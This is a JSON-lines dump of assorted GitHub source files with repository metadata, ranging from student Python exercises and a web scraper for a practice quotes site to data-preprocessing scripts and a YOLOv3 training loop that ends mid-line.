+{"seq_id":"5543699347","text":"#!/usr/bin/python\n\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n#\n# See LICENSE for more details.\n\n\"\"\"Send to VM keys sequence by selecting appropriate menu option from the RV\napp: RV->Menu->Send key->xxx.\n\"\"\"\n\nimport os\nimport sys\nimport logging\nsys.path.append(os.path.join(os.path.dirname(__file__), \"lib\"))\nimport rv\nimport argparse\n\nlogging.basicConfig(level=logging.DEBUG)\nlogger = logging.getLogger(__name__)\n\nparser = argparse.ArgumentParser(\n    description='Send to VM keysequence from RV->Menu->Send key->xxx.')\ngroup = parser.add_mutually_exclusive_group(required=True)\nparser.add_argument(\"keyseq\", help=\"Keys sequence.\")\ngroup.add_argument(\"-a\", \"--accesskeys\", help=\"Use access keys.\",\n                   action=\"store_const\", const=\"access_key\", dest=\"method\")\ngroup.add_argument(\"-k\", \"--hotkeys\", help=\"Use hot keys.\",\n                   action=\"store_const\", const=\"hot_key\", dest=\"method\")\ngroup.add_argument(\"-m\", \"--mouse\", help=\"Use mouse.\", action=\"store_const\",\n                   const=\"mouse\", dest=\"method\")\nargs = parser.parse_args()\n\napp = rv.Application(method=args.method)\n# Test assumes there is only one virtual display.\nassert app.dsp_count() == 1\napp.dsp1.vm_sendkey(args.keyseq)\n","repo_name":"spiceqa/tp-spice","sub_path":"spice/client-tests/vm_sendkey.py","file_name":"vm_sendkey.py","file_ext":"py","file_size_in_byte":1607,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"25256608409","text":"def fibancci(n):\r\n\tfib = [0,1]\r\n\r\n\tfor i in range(2, n+1):\r\n\t\tfib.append(fib[i-1] + fib[i-2])\r\n\treturn fib[n]\r\n\r\nprint(fibancci(10))\r\n\r\ndef fibancciR(n):\r\n\tfib = [0,1]\r\n\tif n==0:\r\n\t\treturn 0\r\n\telif n==1:\r\n\t\treturn 1\r\n\treturn fibancciR(n-1) + fibancciR(n-2)\r\n\r\nprint(fibancciR(10))","repo_name":"harsh-jadhav/Python-Practice","sub_path":"5_Nth_Fibanacci.py","file_name":"5_Nth_Fibanacci.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"71058676729","text":"# -*- coding: utf-8 -*-\nimport crcCCITT\n\nstx = bytearray([0x32])\netx = bytearray([0x34])\n\n\ndef gen_preamble():\n    preamble = []\n    for i in range(0, 100):\n        preamble.append(0x55)\n\n    return bytearray(preamble)\n\n\ndef gen_packet(sa, da, command, numberMsg, msg_set, preableCheck):\n\n    body = bytearray(sa + da + command + numberMsg + msg_set)\n\n    crc_code = intTo2Bytes(crcCCITT.crcb(body))\n    length = calPacketLength(body, crc_code)\n\n    if preableCheck:\n        preamble = gen_preamble()\n        packet = preamble + stx + length + body + crc_code + etx\n    else:\n        packet = stx + length + body + crc_code + etx\n\n    return packet\n\n\ndef calPacketLength(msg, crc):\n    lenPacket = 2 + int(len(msg)) + int(len(crc))\n\n    return intTo2Bytes(lenPacket)\n\n\ndef intTo2Bytes(n):\n    b = bytearray([0, 0])\n    b[1] = n & 0xFF\n    n >>= 8\n    b[0] = n & 0xFF\n\n    return b\n\n\ndef intTo4Bytes(n):\n    b = bytearray([0, 0, 0, 0])\n    b[3] = n & 0xFF\n    n >>= 8\n    b[2] = n & 0xFF\n    n >>= 8\n    b[1] = n & 0xFF\n    n >>= 8\n    b[0] = n & 0xFF\n\n    return b\n\n\ndef bytes2ToInt(b, offset):\n    n = (b[offset + 0] << 8) + b[offset + 1]\n    return n\n\n\ndef bytes4ToInt(b, offset):\n    n = (b[offset + 0] << 24) + (b[offset + 1] << 16) + (b[offset + 2] << 8) + b[offset + 3]\n    return n\n\n\ndef intArrayToHexArray(b):\n    result = []\n\n    for i in b:\n        result.append(\"0x%02X\" % i)\n\n    return result\n","repo_name":"cjm0904/gitLastJeju","sub_path":"packetUtil.py","file_name":"packetUtil.py","file_ext":"py","file_size_in_byte":1406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"29327119149","text":"#Aprobación de créditos\nC=1\nS=0\nU=2\nR=3\ningreso=float(input(\"ingrese su ingreso en Clp: \"))\na_nacimiento=float(input(\"ingrese su año de nacimiento: \"))\nn_hijos=float(input(\"ingrese el numero de hijos: \"))\na_pertenencia=float(input(\"ingrese la cantidad de años que usted pertenece al banco: \"))\ne_civil=input(\"ingrese su estado civil (S: soltero, C: casado): \")\nvivienda=input(\"ingrese si vive en campo o ciudad (U: urbano, R: rural): \")\n\n\naño=2021\nedad=año-a_nacimiento\naprobado=False\nif a_pertenencia>=10 and n_hijos>=2:\n    aprobado=True\nif e_civil==C and n_hijos>=3 and 45<=edad<=55:\n    aprobado=True\nif ingreso>=2500000 and e_civil==S and vivienda==U:\n    aprobado=True\nif ingreso>=3500000 and a_pertenencia>=5:\n    aprobado=True\nif vivienda!=C and e_civil!=R and n_hijos<2:\n    aprobado=True\n\n\n\nif aprobado==True:\n    print(\"APROBADO\")\nif aprobado==False:\n    print(\"RECHAZADO\")\n","repo_name":"pabloschwarzenberg/grader","sub_path":"hito1_ej3/hito1_ej3_3ea32e56e894c40e0d317c544f0e23b9.py","file_name":"hito1_ej3_3ea32e56e894c40e0d317c544f0e23b9.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"30279984277","text":"\"\"\"Basic Preprocessor.\"\"\"\nimport matchzoo as mz\n\nfrom matchzoo import DataPack\nfrom matchzoo.engine.base_pipeline import BasePipeline\nfrom matchzoo.helper import logger\nfrom matchzoo.preprocessors.text_field_preprocessor import TextFieldPreprocessor\n\n\nclass LazadaFieldPreprocessor(TextFieldPreprocessor):\n    def __init__(self, lang, *args, **kwargs):\n        self.lang = lang\n        super().__init__(*args, **kwargs)\n\n    def _default_units(self) -> list:\n        \"\"\"Prepare needed process units.\"\"\"\n        return [\n            mz.preprocessors.units.tokenize.ICUTokenize(lang=self.lang),\n            mz.preprocessors.units.lowercase.Lowercase(),\n        ]\n\n\nclass RHPPipeline(BasePipeline):\n    def __init__(self,\n                 language,\n                 prd_filter_low_freq,\n                 rvw_filter_low_freq):\n        \"\"\"Initialization.\"\"\"\n        logger.info(f\"Data language in {language}\")\n        if language in ('en', 'english'):\n            self.prd_text_field = TextFieldPreprocessor(\n                field='text_left',\n                mode='left',\n                filter_mode='tf',\n                filter_low_freq=prd_filter_low_freq\n            )\n            self.rvw_text_field = TextFieldPreprocessor(\n                field='text_right',\n                mode='right',\n                filter_mode='tf',\n                filter_low_freq=rvw_filter_low_freq\n            )\n        elif language in ('id', 'indonesian'):\n            self.prd_text_field = LazadaFieldPreprocessor(\n                lang=language,\n                field='text_left',\n                mode='left',\n                filter_mode='tf',\n                filter_low_freq=prd_filter_low_freq\n            )\n            self.rvw_text_field = LazadaFieldPreprocessor(\n                lang=language,\n                field='text_right',\n                mode='right',\n                filter_mode='tf',\n                filter_low_freq=rvw_filter_low_freq\n            )\n        else:\n            raise ValueError(f\"Language {language} is invalid ...\")\n\n    def fit(self, data_pack: DataPack, verbose: int = 1):\n        self.prd_text_field.fit(data_pack, verbose=verbose)\n        self.rvw_text_field.fit(data_pack, verbose=verbose)\n        return self\n\n    def transform(self, data_pack: DataPack, verbose: int = 1) -> DataPack:\n        \"\"\"\n        Apply transformation on data, create truncated length representation.\n\n        :param data_pack: Inputs to be preprocessed.\n        :param verbose: Verbosity.\n\n        :return: Transformed data as :class:`DataPack` object.\n        \"\"\"\n        data_pack = self.prd_text_field.transform(data_pack, verbose=verbose)\n        data_pack = self.rvw_text_field.transform(data_pack, verbose=verbose)\n        return data_pack\n","repo_name":"jhliu17/MCR","sub_path":"matchzoo/pipeline/rhp_pipeline.py","file_name":"rhp_pipeline.py","file_ext":"py","file_size_in_byte":2742,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"77"}
+{"seq_id":"70770523769","text":"HEX_RAINBOW = [\n    '#f80c12',\n    '#ee1100',\n    '#ff3311',\n    '#ff4422',\n    '#ff6644',\n    '#ff9933',\n    '#feae2d',\n    '#ccbb33',\n    '#d0c310',\n    '#aacc22',\n    '#69d025',\n    '#22ccaa',\n    '#12bdb9',\n    '#11aabb',\n    '#4444dd',\n    '#3311bb',\n    '#3b0cbd',\n    '#442299'\n]\n\ndef get_hex_colors(n_labels):\n    \"\"\"\n    Return a list of hex color codes spaced out so for maximum color\n    difference.\n\n    args:\n        n_labels - number of colors to return\n    \"\"\"\n    step = max(1, (len(HEX_RAINBOW) / n_labels))\n#    print \"COLOR INDS\", range(0, len(HEX_RAINBOW), (len(HEX_RAINBOW) / n_labels))\n    return HEX_RAINBOW[::step]\n\n","repo_name":"arider/riderml","sub_path":"riderml/visualize/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"25840526644","text":"count=0\ntemp=0\nsumofNumbers=0\nwhile True:\n    try:\n        a=input()\n        \n        if a=='done':\n            break\n        temp=int(a)\n        sumofNumbers=sumofNumbers+temp\n        count=count+1\n        \n    except:\n        print('Invalid Input')\n        \nprint('Total is ',sumofNumbers,'\\n')\nprint('Count is ',count,'\\n')\nprint('Average is ',float(sumofNumbers/count),'\\n')\n","repo_name":"vkunal1996/Python","sub_path":"python4everybody/Iterations/Iteration1.py","file_name":"Iteration1.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"29207634729","text":"import json\nimport os\n\n\ndef json_creator_v2(fullpath):\n    try:\n        tgList = os.listdir(fullpath)\n        rdList = []\n        for i in range(0, len(tgList)):\n            kk = tgList[i]\n            if kk[len(kk) - 5:len(kk)] == '.json':\n                rdList.append(kk)\n            else:\n                continue\n        rtData = \"\"\n        for i in range(0, len(rdList)):\n            try:\n                open_data = open(fullpath + \"/\" + rdList[i]).read()\n                aa = open_data.replace(\"}\\n{\", \"},\\n{\")\n                bb = aa.replace(\"\\n\", \"\")\n                cc = bb.replace(\",,\", \",\")\n            except:\n                continue\n            if len(rtData) == 0:\n                rtData += cc\n            elif len(cc) == 0:\n                continue\n            else:\n                rtData += \",\" + cc\n        if \"mdmSrc.json\" in tgList:\n            rtResult = json.loads(\"[\" + rtData + \"]\")\n        else:\n            rtResult = json.loads(rtData)\n        return rtResult\n    except:\n        errorMsg = '{\"cannot find json file/location within POST request\"}'\n        return errorMsg\n\n\ndef json_creator_v1(fullpath):\n    tgList = os.listdir(fullpath)\n    rdList = []\n    for i in range(0, len(tgList)):\n        kk = tgList[i]\n        if kk[len(kk) - 5:len(kk)] == '.json':\n            rdList.append(kk)\n        else:\n            continue\n    rtData = []\n    for i in range(0, len(rdList)):\n        # try:\n        with open(fullpath + \"/\" + rdList[i]) as open_data:\n            lineJson = json.loads(open_data.read().encode('utf-8'))\n        rtData.append(lineJson)\n    # except:\n    #     continue\n\n    return rtData\n","repo_name":"jyyoo0530/F9S_REST_API","sub_path":"jsoncreator.py","file_name":"jsoncreator.py","file_ext":"py","file_size_in_byte":1634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"23592652468","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Sep 12 22:30:05 2016\r\n\r\n@author: Fikrat Talibli\r\n\"\"\"\r\n\r\nhrs = input(\"Enter Hours: \")\r\nh = float(hrs)\r\nrate=input(\"Enter Rate: \")\r\nr=float(rate)\r\n\r\np=0\r\n\r\nif(h>40):\r\n\tp=h*r+(h-40)*(10.5*0.5)\r\nelse:\r\n    p=h*r\r\n    \r\nprint(p)","repo_name":"feeka/python","sub_path":"[5]-gross-pay-if-else.py","file_name":"[5]-gross-pay-if-else.py","file_ext":"py","file_size_in_byte":268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"10939024276","text":"# ===================== #\n# Identify outliers using the IQR method and scale our input features #\n# ===================== #\n# Author:   Jesse Wolf, jwolf@uoguelph.ca | Thomas Papp-Simon, tpappsim@uoguelph.ca\n# Date:     March 15, 2023\n\n# How to run:   python3  outlierDetect_Scaling.py\n# This script reads in all training and test datasets, identifies and removes outliers, and scales the input features\n# ================= #\n\n# Import relevant librariess\nimport pandas as pd\nimport numpy as np\nimport os\nimport re\nfrom sklearn import preprocessing\nfrom pandas.api.types import is_numeric_dtype\n\nprint (\"\\nBeginning outlierDetect_Scaling.py.\\n\")\n\n# Set the directory where the training and test data are located\ndirectory = './training_test_splits/'\n\n# Get a list of all the CSV files in the directory\nfiles = [os.path.join(directory, file) for file in os.listdir(directory) if file.startswith('training')]\n\n# Make directory if does not exist\npath = \"scaled_training_sets\"\n# Check whether the specified path exists or not\nisExist = os.path.exists(path)\nif not isExist:\n\n   # Create a new directory because it does not exist\n   os.makedirs(path)\n\nfor filename in files:\n# load the dataset\n    df = pd.read_csv(filename)\n\n    # select the columns to analyze\n    cols_to_analyze = df.columns[12:]\n\n    # loop through the selected columns\n    for col in cols_to_analyze:\n\n        data = df[col].values\n\n        # calculate the inter-quartile range\n        q25, q75 = np.percentile(data, 25), np.percentile(data, 75)\n        iqr = q75 - q25\n       \n        # calculate the outlier cutoff: k=2.5\n        cut_off = iqr * 2.5\n        lower, upper = q25 - cut_off, q75 + cut_off\n\n        # identify outliers\n        data_outliers = [x for x in data if x < lower or x > upper]\n       \n\n        # remove outliers\n        data_outliers_removed = [x for x in data if x >= lower and x <= upper]\n        \n        df[col] = pd.Series(data_outliers_removed).reset_index(drop=True)\n\n    # Create a for loop to iterate over all columns in the the dataframe and replace NAs with mean values.\n    for col in df.columns:\n        if (is_numeric_dtype(df[col])):\n            df[col] = df[col].replace(np.NaN,df[col].mean())\n\n    # Write to new file\n    # df.to_csv ('masterScript_testRun/df_outliers_removed.csv', index = False)\n\n#########################\n\n# ===================== #\n# Scaling X variables and outputting new csvs #\n# ===================== #\n\n# Training set\n# Set our x and y variables\n    X=df.values[:,12:]\n    # Create a list of column names to add to our new scaled dataframe\n    X_colnames= df.columns[12:]\n    # Create a data frame with our non-numerical data\n    df_extra = df[['team_abbreviation_home', 'team_abbreviation_away', 'game_date', 'game_yearEnd']]\n    Y=df.values[:,7].astype(int)\n\n    # Scale the data\n    scaler = preprocessing.StandardScaler().fit(X)\n    X_scaled = scaler.transform(X)\n\n    # Create a new DataFrame with the scaled values and the original column names\n    scaled_df = pd.DataFrame(X_scaled, columns=X_colnames)\n    # Concatenate our scaled_df with df_extra, which has our extra (categorical) data\n    scaled_df = pd.concat([scaled_df.reset_index(drop=True), df_extra], axis=1)\n\n    # Add the target column to the new DataFrame\n    scaled_df['wl_home'] = Y\n\n    # Use regex to get only the 'trainingyear1-year2' from the file name\n    filename_re = re.search('\\/(\\w+-\\w+)\\.', filename)\n    if filename_re:\n        new_filename = filename_re.group(1)\n    \n    scaled_df.to_csv (f'./scaled_training_sets/{new_filename}_outliers_removed_scaled.csv', index = False)\n\n\n# Testing set\n# Set our x and y variables\n\ntest_set = pd.read_csv('./training_test_splits/testing2022.csv')\n# Scale the data using the same scaler as was used on the training data, to avoid data leakage\nX_test=test_set.values[:,12:]\nY_test=test_set.values[:,7].astype(int)\ntest_scaled = scaler.transform(X_test)\n\n# Create a new DataFrame with the scaled values and the original column names\nscaled_df_test = pd.DataFrame(test_scaled, columns=X_colnames)\n\ndf_extra_test = test_set[['team_abbreviation_home', 'team_abbreviation_away', 'game_date', 'game_yearEnd']]\n# Concatenate our scaled_df with df_extra, which has our extra (categorical) data\nscaled_df_test = pd.concat([scaled_df_test.reset_index(drop=True), df_extra_test], axis=1)\n\n# Add the target column to the new DataFrame\nscaled_df_test['wl_home'] = Y_test\n\nscaled_df_test.to_csv (f'./scaled_training_sets/test_set_outliers_removed_scaled.csv', index = False)\n\nprint (\"outlierDetect_Scaling.py has finished running, on to RFE.py.\\n\")","repo_name":"geneticsjesse/NBApredictor","sub_path":"outlierDetect_Scaling.py","file_name":"outlierDetect_Scaling.py","file_ext":"py","file_size_in_byte":4586,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"16833519055","text":"import cv2 as cv\nimport numpy as np\n\n\ndef create_image_3channel():\n\t'''\n\t\t\timg=np.zeros([400,400,3],np.uint8)\n\timg[:,:,0]=np.ones([400,400])*255\n\timg[:,:,2]=np.ones([400,400])*255\n\t'''\n\timg = np.zeros([400, 400,3], np.uint8)   #init\n\timg[:,:,0]=np.ones([400,400])*255\n\t# img=img*1\n\tcv.imshow(\"new image\",img)\n\tcv.imwrite(\"image/create_01.jpg\",img)\n\n\ndef create_image_1channel():\n\timg = np.zeros([400, 400,1], np.uint8)\n\timg[:, :, 0] = np.ones([400, 400]) * 127\n\tcv.imshow(\"new image\", img)\n\tcv.imwrite(\"image/create_01.jpg\", img)\n\ncreate_image_1channel()\ncv.waitKey(0)\n","repo_name":"qiuqi06/python","sub_path":"opencv/mycv3.py","file_name":"mycv3.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"7092673864","text":"# https://towardsdatascience.com/how-to-collect-data-from-any-website-cb8fad9e9ec5\n\nfrom bs4 import BeautifulSoup as bs\nimport pandas as pd\npd.set_option('display.max_colwidth', 500)\nimport time \nimport requests\nimport random\nimport openpyxl\n\nauthors = []\n\nquotes = []\n\nurls = [f\"http://quotes.toscrape.com/page/{i}\" for i in range(1, 11)] \n\nrate = [i/10 for i in range(10)]\nrate = [i/10 for i in range(2)]\n\nfor url in urls:\n  page = requests.get(url)\n  html = bs(page.content)\n  authors.extend([i.text for i in html.find_all(class_='author')])\n  quotes.extend([i.text for i in html.find_all(class_='text')])\n  if len(quotes) >= 52: # only need 52 quotes\n    break\n  time.sleep(random.choice(rate))\n\n# put data into a spread sheet with a Pandas DataFrame\ndf = pd.DataFrame()\ndf['Authors'] = authors\ndf['Quotes'] = quotes\n\n# print out the Pandas DataFrame\nprint(df)\n\n# create Excel file (.xlsx)\ndf.to_excel(\"webscrape.xlsx\")","repo_name":"joFolta/python-webscrape","sub_path":"webscrape_execution.py","file_name":"webscrape_execution.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"34387253932","text":"ghenv.Component.Name = \"ShrimpGIS Merge Geojson\"\nghenv.Component.NickName = \"shrimp_merge_geojson\"\nghenv.Component.Category = \"ShrimpGIS\"\nghenv.Component.SubCategory = \"1 || IO\"\ntry: ghenv.Component.AdditionalHelpFromDocStrings = \"2\"\nexcept: pass\n\nimport scriptcontext as sc\nimport os\nimport sys\nimport Grasshopper\nimport Rhino\n\n##################ShrimpGIS#####################\ntry:\n    user_path = os.getenv(\"APPDATA\")\n    sys.path.append(user_path)\n    from shrimp_gis import __version__\n    from shrimp_gis.io import GeojsonWriter\n    ghenv.Component.Message = __version__\nexcept ImportError as e:\n    raise ImportError(\"\\nFailed to import ShrimpGIS: {0}\\n\\nCheck your 'shrimp_gis' folder in {1}\".format(e, os.getenv(\"APPDATA\")))\n################################################\n\nwarning = Grasshopper.Kernel.GH_RuntimeMessageLevel.Warning\n\ndef main():\n    \n    name = \"Geojson\" if _name_ == None else _name_\n    \n    if (run_it_):\n        result = GeojsonWriter.merge_geojson(_folder, name, _geojson_file)\n        \n        return result\n\n\ngeojson_file = main() if _geojson_file and run_it_ and _folder != None else None\nif not geojson_file:\n    print(\"Add _geojson_file and folder.\\nThen set run_it to 'True'.\")\nelse:\n    print(\"File written.\")\n","repo_name":"AntonelloDN/ShrimpGIS","sub_path":"src/ShrimpGIS Merge Geojson.py","file_name":"ShrimpGIS Merge Geojson.py","file_ext":"py","file_size_in_byte":1249,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"77"}
+{"seq_id":"16357273273","text":"#---------------step0:Common Definitaion-------------\nimport time\n\nimport torch\nimport random\n\nif torch.cuda.is_available():\n    device = torch.device(\"cuda:0\")\n    #torch.backends.cudnn.benchmark = True\nelse:\n    device = torch.device(\"cpu\")\n\n#------freeze backbone------\nfrom collections.abc import Iterable\ndef set_freeze_by_names(model, layer_names, freeze=True):\n    if not isinstance(layer_names, Iterable):\n        layer_names = [layer_names]\n    for name, child in model.named_children():\n        if name not in layer_names:\n            continue\n        for param in child.parameters():\n            param.requires_grad = not freeze\n\n\ndef freeze_by_names(model, layer_names):\n    set_freeze_by_names(model, layer_names, True)\n\n\ndef unfreeze_by_names(model, layer_names):\n    set_freeze_by_names(model, layer_names, False)\n\n\ndef set_freeze_by_idxs(model, idxs, freeze=True):\n    if not isinstance(idxs, Iterable):\n        idxs = [idxs]\n    num_child = len(list(model.children()))\n    idxs = tuple(map(lambda idx: num_child + idx if idx < 0 else idx, idxs))\n    for idx, child in enumerate(model.children()):\n        if idx not in idxs:\n            continue\n        for param in child.parameters():\n            param.requires_grad = not freeze\n            print(\"idx:{} need_grad:{}\".format(idx, param.requires_grad))\n\n\ndef freeze_by_idxs(model, idxs):\n    set_freeze_by_idxs(model, idxs, True)\n\ndef unfreeze_by_idxs(model, idxs):\n    set_freeze_by_idxs(model, idxs, False)\n\n#torch.autograd.set_detect_anomaly(True)\n# train hype parameter\nbatch_size = 4\nlr = 1e-3\nweight_decay = 5e-4\nmomentum = 0.9\npre_weight_file = \"../PreTrain/darknet53_50.pth\"\n\n# train img parameter\nimg_sizes = [320, 352, 384, 416, 448, 480, 512, 544, 576, 608]\nbase_img_size = 608 #基准尺度是608\nanchor_boxes = [[49, 48], [88, 102], [128, 159], [176, 219], [224, 283], [269, 349], [309, 420], [348, 494], [419, 581]]\nnow_img_size = 416\n#---------------step1:Dataset-------------------\nimport torch\n#from COCO_DataSet import COCODataSet\nfrom VOC_DataSet import VOCDataSet\ndataSet = VOCDataSet(imgs_path=\"../DataSet/VOC2007/Train/JPEGImages\",annotations_path=\"../DataSet/VOC2007/Train/Annotations\",classes_file=\"../DataSet/VOC2007/class.data\", class_num=20)\ndataSet.setInputSize(now_img_size, anchor_boxes)\nfrom torch.utils.data import DataLoader\n\n#---------------step2:Model-------------------\nfrom YOLO_V3_Model import YOLO_V3\nYOLO = YOLO_V3(class_num=20).to(device=device)\nYOLO.initialize_weights(pre_weight_file)\nset_freeze_by_idxs(YOLO,[0, 1, 2, 3, 4])\n\n#---------------step3:LossFunction-------------------\nfrom YOLO_V3_LossFunction import YOLO_V3_Loss\nloss_function = YOLO_V3_Loss(anchor_boxes=anchor_boxes).to(device=device)\nloss_function.setImgSize(now_img_size, anchor_boxes)\n\n#---------------step4:Optimizer-------------------\nimport torch.optim as optim\n#optimizer_Adam = optim.Adam(YOLO.parameters(),lr=1e-4,weight_decay=0.005)\noptimizer_SGD = optim.SGD(YOLO.parameters(),lr=lr,weight_decay=weight_decay, momentum=momentum)\n#使用余弦退火动态调整学习率\n#lr_reduce_scheduler = optim.lr_scheduler.CosineAnnealingLR(optimizer=optimizer_Adam , T_max=20, eta_min=1e-4, last_epoch=-1)\n#lr_reduce_scheduler = optim.lr_scheduler.CosineAnnealingWarmRestarts(optimizer=optimizer_Adam, T_0=2, T_mult=2)\n\n#--------------step5:Tensorboard Feature Map------------\nimport torch.nn as nn\n\ndef feature_map_visualize(img_data, writer):\n    img_data = img_data.unsqueeze(0)\n    img_grid = vutils.make_grid(img_data, normalize=True, scale_each=True)\n    for i,m in enumerate(YOLO.modules()):\n        if isinstance(m, nn.Conv2d) or isinstance(m, nn.BatchNorm2d) or \\\n                isinstance(m, nn.ReLU) or isinstance(m, nn.MaxPool2d) or isinstance(m, nn.AdaptiveAvgPool2d):\n            img_data = m(img_data)\n            x1 = img_data.transpose(0,1)\n            img_grid = vutils.make_grid(x1, normalize=True, scale_each=True)\n            writer.add_image('feature_map_' + str(i), img_grid)\n\n#---------------step6:Train-------------------\nfrom tensorboardX import SummaryWriter\nimport torchvision.utils as vutils\nepoch = 0\nwriter = SummaryWriter(logdir='./log', filename_suffix=' [' + str(epoch) + '~' + str(epoch + 100) + ']')\n\nfrom tqdm import tqdm\n\nwhile epoch <= 200 * dataSet.class_num:\n\n    train_sum = int(dataSet.__len__() + 0.5)\n    train_len = int(train_sum * 0.9)\n    val_len = train_sum - train_len\n\n    epoch_train_loss = 0\n    epoch_val_loss = 0\n    epoch_train_iou = 0\n    epoch_val_iou = 0\n    epoch_train_object_num = 0\n    epoch_val_object_num = 0\n    epoch_train_loss_coord = 0\n    epoch_val_loss_coord = 0\n    epoch_train_loss_confidence = 0\n    epoch_val_loss_confidence = 0\n    epoch_train_loss_classes = 0\n    epoch_val_loss_classes = 0\n\n    train_dataSet, val_dataSet = torch.utils.data.random_split(dataSet, [train_len, val_len])\n\n    train_loader = DataLoader(train_dataSet, batch_size=batch_size, shuffle=True, num_workers=4, pin_memory=True)\n    train_len = train_loader.__len__()\n    YOLO.train()\n    with tqdm(total=train_len) as tbar:\n        for batch_index, batch_datas in enumerate(train_loader):\n            optimizer_SGD.zero_grad()\n            #for data_index in range(len(batch_datas)):\n                #batch_datas[data_index] = batch_datas[data_index].float().to(device=device,non_blocking=True)\n            #small_bounding_boxes, middle_bounding_boxes, big_bounding_boxes = YOLO(batch_datas[0].to(device=device,non_blocking=True))\n            #loss = loss_function(small_bounding_boxes, middle_bounding_boxes, big_bounding_boxes, batch_datas[1].to(device=device,non_blocking=True), batch_datas[2].float().to(device=device,non_blocking=True), batch_datas[3].to(device=device,non_blocking=True), batch_datas[4].float().to(device=device,non_blocking=True), batch_datas[5].to(device=device,non_blocking=True), batch_datas[6].float().to(device=device,non_blocking=True))\n\n            small_bounding_boxes, middle_bounding_boxes, big_bounding_boxes = YOLO(batch_datas[0].to(device=device))\n            loss = loss_function(small_bounding_boxes, middle_bounding_boxes, big_bounding_boxes,\n                                 batch_datas[1],\n                                 batch_datas[2].float().to(device=device),\n                                 batch_datas[3],\n                                 batch_datas[4].float().to(device=device),\n                                 batch_datas[5],\n                                 batch_datas[6].float().to(device=device))\n            print(\"loss 计算完毕\")\n            print(loss[0])\n            batch_loss = loss[0] / batch_size\n            '''\n            batch_loss[0] = batch_loss[0] / batch_size\n            batch_loss[1] = batch_loss[1] / batch_size\n            batch_loss[2] = batch_loss[2] / batch_size\n            '''\n            epoch_train_loss_coord = epoch_train_loss_coord + loss[1]\n            epoch_train_loss_confidence = epoch_train_loss_confidence + loss[2]\n            epoch_train_loss_classes = epoch_train_loss_classes + loss[3]\n            epoch_train_iou = epoch_train_iou + loss[4]\n            epoch_train_object_num = epoch_train_object_num + loss[5]\n            '''\n            time_start = time.time()\n            batch_loss[0].backward(retain_graph=True)\n            time_end = time.time()\n            print('loss_small:totally cost', time_end - time_start)\n            time_start = time.time()\n            batch_loss[1].backward(retain_graph=True)\n            time_end = time.time()\n            print('loss_middle:totally cost', time_end - time_start)\n            time_start = time.time()\n            batch_loss[2].backward()\n            time_end = time.time()\n            print('loss_big:totally cost', time_end - time_start)\n            time_start = time.time()\n            optimizer_SGD.step()\n            time_end = time.time()\n            print('sgd:totally cost', time_end - time_start)\n            '''\n            time_start = time.time()\n            batch_loss.backward()\n            optimizer_SGD.step()\n            time_over = time.time()\n            print(\"backward:{}\".format(time_over - time_start))\n            batch_loss = batch_loss.item()\n            epoch_train_loss = epoch_train_loss + batch_loss\n            #tbar.set_description(\"train: coord_loss:{} confidence_loss:{} class_loss:{} avg_iou:{}\".format(round(loss[1], 4), round(loss[2], 4), round(loss[3], 4), round(loss[4] / loss[5], 4)), refresh=True)\n            tbar.set_description(\n                \"train: coord_loss:{} confidence_loss:{} class_loss:{} avg_iou:{}\".format(round(loss[1], 4),\n                                                                                          round(loss[2], 4),\n                                                                                          round(loss[3], 4),\n                                                                                          0),\n                refresh=True)\n            tbar.update(1)\n\n            #feature_map_visualize(train_data[0][0], writer)\n            #print(\"batch_index : {} ; batch_loss : {}\".format(batch_index, batch_loss))\n        print(\"train-batch-mean loss:{} coord_loss:{} confidence_loss:{} class_loss:{} iou:{}\".format(round(epoch_train_loss / train_len, 4), round(epoch_train_loss_coord / train_len, 4), round(epoch_train_loss_confidence / train_len, 4), round(epoch_train_loss_classes / train_len, 4), round(epoch_train_iou / epoch_train_object_num, 4)))\n\n    #lr_reduce_scheduler.step()\n\n    val_loader = DataLoader(val_dataSet, batch_size=batch_size, shuffle=True, num_workers=4, pin_memory=True)\n    val_len = val_loader.__len__()\n    YOLO.eval()\n    with tqdm(total=val_len) as tbar:\n        with torch.no_grad():\n            for batch_index, batch_datas in enumerate(val_loader):\n                for data_index in range(len(batch_datas)):\n                    batch_datas[data_index] = batch_datas[data_index].float().to(device=device, non_blocking=True)\n                small_bounding_boxes, middle_bounding_boxes, big_bounding_boxes = YOLO(batch_datas[0])\n                loss = loss_function(small_bounding_boxes, middle_bounding_boxes, big_bounding_boxes,\n                                     batch_datas[1],\n                                     batch_datas[2],\n                                     batch_datas[3],\n                                     batch_datas[4],\n                                     batch_datas[5],\n                                     batch_datas[6])\n                batch_loss = loss[0] / batch_size\n                epoch_val_loss_coord = epoch_val_loss_coord + loss[1]\n                epoch_val_loss_confidence = 